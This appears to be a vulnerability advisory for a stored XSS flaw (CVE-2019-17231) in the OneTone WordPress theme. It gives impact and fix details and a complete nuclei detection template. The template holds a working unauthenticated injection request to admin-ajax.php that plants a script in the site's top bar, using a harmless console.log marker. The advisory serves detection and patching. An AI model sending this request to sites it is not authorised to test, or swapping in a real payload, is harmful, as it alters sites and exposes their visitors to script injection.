WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.

Impact

Unauthenticated attackers can inject malicious JavaScript that will be stored and executed when users visit the site, potentially stealing cookies, credentials, or performing actions on behalf of all site visitors.

Fix

Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "Import successful.")
Send: GET /
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>console.log({{string}})</script>","top-bar-info")

Run it with nuclei: nuclei -id CVE-2019-17231 -u <target>

The full check

id: CVE-2019-17231

info:
  name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS
  author: daffainfo
  severity: medium
  description: |
    includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript that will be stored and executed when users visit the site, potentially stealing cookies, credentials, or performing actions on behalf of all site visitors.
  remediation: |
    Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.
  reference:
    - https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
    - https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17231
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-17231
    epss-score: 0.01462
    epss-percentile: 0.73823
    cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mageewp
    product: onetone
    framework: wordpress
    publicwww-query: "/wp-content/themes/onetone"
  tags: cve,cve2019,wordpress,wp-theme,wp,onetone,xss,intrusive,vkev,vuln

variables:
  string: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=onetone_options_import&options={"top_bar_info_content":"<script>console.log({{string}})</script>","display_top_bar":"yes"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Import successful.")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>console.log({{string}})</script>","top-bar-info")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from